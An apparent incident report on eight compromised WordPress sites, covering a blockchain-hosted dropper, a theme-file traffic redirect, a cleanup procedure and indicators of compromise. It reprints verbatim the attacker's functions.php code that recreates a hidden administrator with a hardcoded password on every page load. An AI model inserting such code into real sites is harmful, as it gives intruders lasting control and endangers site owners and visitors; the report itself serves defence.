WordPress Incident Report · August 2026

Two Payloads, Eight Sites, and an Administrator That Would Not Stay Deleted

A full incident response across a shared hosting plan carrying twelve WordPress installs. Eight were compromised in two separate intrusions five days apart: a payload delivered from a blockchain smart contract, a traffic-selling redirect injected into theme files, and a hidden administrator account that rebuilt itself on every page load. Nothing tripped an automated scan.

All client identities are anonymised. Every technical detail is exact, and the indicators of compromise on page 4 are reproduced verbatim so they can be searched for directly.

METRIC	RESULT
Sites on plan / compromised	12 / 8
Dwell time before detection	13 days
Separate intrusions	2, five days apart
Malicious files removed	22
Injected theme files repaired	14
Hidden admin accounts	7 of the 8 compromised sites
Detected by automated scanning	None
Files re-scanned after cleanup	606 PHP files, zero remaining hits

Why nothing caught it

The payload was not on the server. The first stage held no malicious code. It called a smart contract on BNB Smart Chain testnet, base64-decoded the return value, and injected that as a script — a technique known as EtherHiding. There is no domain to blocklist, no payload to fingerprint, and the attacker can replace the code at any time without touching the server. Four fallback RPC endpoints were hardcoded.

Everything cloaked. The injected script checked user-agent, referrer and URL before acting. It fired for a Windows visitor arriving from search and stayed dormant for logged-in administrators and crawlers. The owner sees a working site.

The second payload looked like analytics. One line per theme file, loading a script from a domain built to be misread as a well-known analytics provider at a glance.

Timeline

Reconstructed from file modification times and one PHP error log that caught the first intrusion in progress.

WHEN	EVENT
Day 1, 17:13 UTC	Eight fake plugin folders created within the same minute. A PHP error log recorded database contention at 17:13:28 — the signature of an automated tool writing to many sites at once.
Day 5, 23:47:50	Seventeen lines appended to a site's active theme functions.php.
Day 5, 23:47:52	That code fires and creates the hidden administrator account. Two seconds after the file was written.
Day 5 – 6	Logged in as that administrator, the attacker installs a legitimate file-manager plugin for its browser-based editor, then injects the redirect into header.php and footer.php across seven sites over roughly five and a half hours.
Day 13	Detection, full investigation, and cleanup.

THE KEY INSIGHT

They were not breaking in on day five. They were signing in. The account created at 23:47:52 turned every later action into ordinary authenticated administration.

Payload one — blockchain-hosted dropper

Eight fake plugins, each impersonating a real and well-known one — including, with some irony, a security plugin. Every folder followed the same shape: a name of the form *real-plugin-name* followed by two or three digits, containing exactly a js/ directory, one PHP file, and a readme.txt. A genuine plugin has hundreds of files. These had three.

The PHP registered an AJAX action open to logged-out visitors. Requesting it triggered a server-side call to the smart contract's get() method; the base64 response was returned to the browser and injected as a script element. The delivered payload rendered a fake Cloudflare human-verification overlay instructing the visitor to paste a command into the Windows Run dialog — the attack pattern known as ClickFix.

Payload two — traffic redirect

A single script tag added to the top of header.php and the bottom of footer.php in each site's active theme. Fourteen files across seven sites. It redirected visitors off the site to an intermediary domain, which handed them to a fake financial-survey landing page with the visitor's IP address embedded in the destination URL. A traffic distribution system: the sites' visitors were being sold.

This was found by accident, while loading one of the sites to verify the first cleanup. The browser never arrived.

Persistence — the part that mattered

A hidden administrator account was found in the database and deleted. It came back. The cause was the seventeen-line block appended to each active theme's functions.php:

```
$user  = 'sys_maint';
$pass  = 'ChangeMe_Str0ng!';
$email = 'sys_maint@local.com';

function quick_create() {
    global $user, $pass, $email;
    if (!username_exists($user) && !email_exists($email)) {
        $id = wp_create_user($user, $pass, $email);
        if (!is_wp_error($id)) {
            $u = new WP_User($id);
            $u->set_role('administrator');
        }
    }
}
add_action('init', 'quick_create');
```

Hooked to **init**, so it runs on every single page load. Delete the account and the next visitor recreates it. On one site the account had cycled from user ID 5 up to ID 12 — roughly seven rounds of creation and deletion — before the cause was found. The password was hardcoded and identical across all seven sites.

Ruled out first

Four other persistence mechanisms were checked and eliminated before the theme code was found. They are the usual suspects and worth checking in this order:

- **MySQL scheduled events** — none; the event scheduler was disabled server-wide
- **Database triggers** — none
- **Stored routines** — none
- **Host-level cron jobs** — none configured

The assumption was that something scheduled was rebuilding the account. It was simpler and worse: it ran on every request.

Removal procedure

The sequence matters more than any individual step. Cleaning files while a regenerator is live accomplishes nothing.

1. **Identify before touching anything.** Capture the payload, trace where it is served from, and build the timeline from file modification times and error logs. Changing files first destroys the timestamps you need.
2. **Quarantine, do not delete.** Move malicious files out of the web root into a dated quarantine folder. Nothing becomes unrecoverable and everything stays available as evidence.
3. **Close the re-entry path first.** The attacker's file-manager plugin was removed before the payloads were.
4. **Remove the regenerator before the account.** This is the step that makes everything after it hold.
5. **Then delete the accounts** through WordPress admin rather than the database, so user metadata and active login sessions are cleaned up properly.

6 **Verify by re-scanning.** Every PHP file across every install was re-checked for all three signatures after cleanup, not sampled.

7 **Purge caches.** Cached pages kept serving the redirect after the source files were clean, which briefly resembled reinfection and was not.

Verification and outcome

- All eight sites verified clean on fresh, cache-busted loads — no injected scripts, no redirects, no external script sources at all
- WordPress core verified against official checksums: 99,778 files scanned, zero findings
- No PHP backdoor in any uploads directory on any install
- No SSH persistence — no rogue authorized keys
- 606 PHP files re-scanned across every live install for all three signatures: zero hits
- Every remaining site on the plan audited for rogue administrator accounts
- Seven abandoned WordPress installs — absent from the hosting panel, plugins untouched for two years — removed from the web root

Indicators of compromise

Reproduced verbatim. If you manage WordPress sites, these are searchable directly.

TYPE	INDICATOR
Rogue admin	`sys_maint / sys_maint@local.com`
Hardcoded password	`ChangeMe_Str0ng!`
Regenerator	`quick_create() on add_action('init', ...)`
Redirect host	`cdn.claritydelivr.com/mpackage.js`
Redirect chain	`nelqazor.nelqazor.shop → cdn.lcwss.com`
AJAX action	`bsc_sl_get_script (wp_ajax_nopriv)`
Loader file	`<plugin>/js/bsc-loader.js`
PHP constants	`BSC_SL_VERSION, BSC_SL_CONTRACT`
Fake plugin author	`"Digital Creators", version 1.7.6`
Folder pattern	`<real-plugin-name>-<digits> with only js/, one .php, readme.txt`

Check your own sites

1. **Scan your plugin folder names.** A directory named after a real plugin with digits appended is not a plugin. This single check found all eight sites in under a minute.
2. **Open your active theme's functions.php and scroll to the bottom.** Injected code is almost always appended after the last legitimate line.
3. **Do the same for header.php and footer.php.** Look for any script tag pointing at a domain you did not add yourself.
4. **Count the administrators on every site.** If the number is higher than you expect, that is the whole story.
5. **Load your own site logged out, in a private window, from a search result** rather than by typing the URL. Cloaked malware is invisible to administrators by design.

What we would tell any site owner

One site came through untouched

No fake plugin payload, no redirect injection, no hidden admin. It was the only site on the plan running a security plugin. One data point is not proof — but across three separate attack stages, it is the only variable that differed.

Abandoned installs are exposed, not dormant

Seven forgotten WordPress installs sat inside a live site's directory, invisible in the hosting panel, with plugins untouched for two years. One carried forty-five plugins last updated in 2024, several long abandoned by their authors. Software you have stopped thinking about is still running and still reachable from the internet.

Nulled premium plugins carry their own updater

Several sites ran repackaged "pro" plugins that fetch their own updates from third-party servers. That is a remote code channel into your site, granted permanently, that you do not control and cannot audit.

Check your migration leftovers

Separately from this incident, the audit found a half-finished site migration that had left its installer script and two complete site-and-database archives publicly downloadable with no login required. Those archives contained password hashes and everything else the database held. It was more exposed than either malware payload, and it had been sitting there for nine months.

A file cleanup with a live backdoor is theatre

Every hour spent removing malicious files was worthless while an account that recreated itself on every page load was still standing. Find the persistence first. Everything else is reversible by whoever put it there.

> **IF YOU TAKE ONE THING FROM THIS REPORT**
>
> **If a deleted WordPress admin keeps coming back,** something is recreating it on page load. Check the active theme's functions.php first, then must-use plugins, then scheduled tasks, then database triggers. Remove the code before the account — in that order — or you will delete the same user indefinitely.

Prepared August 2026. Client identities anonymised; technical detail unmodified. Indicators of compromise may be reproduced freely.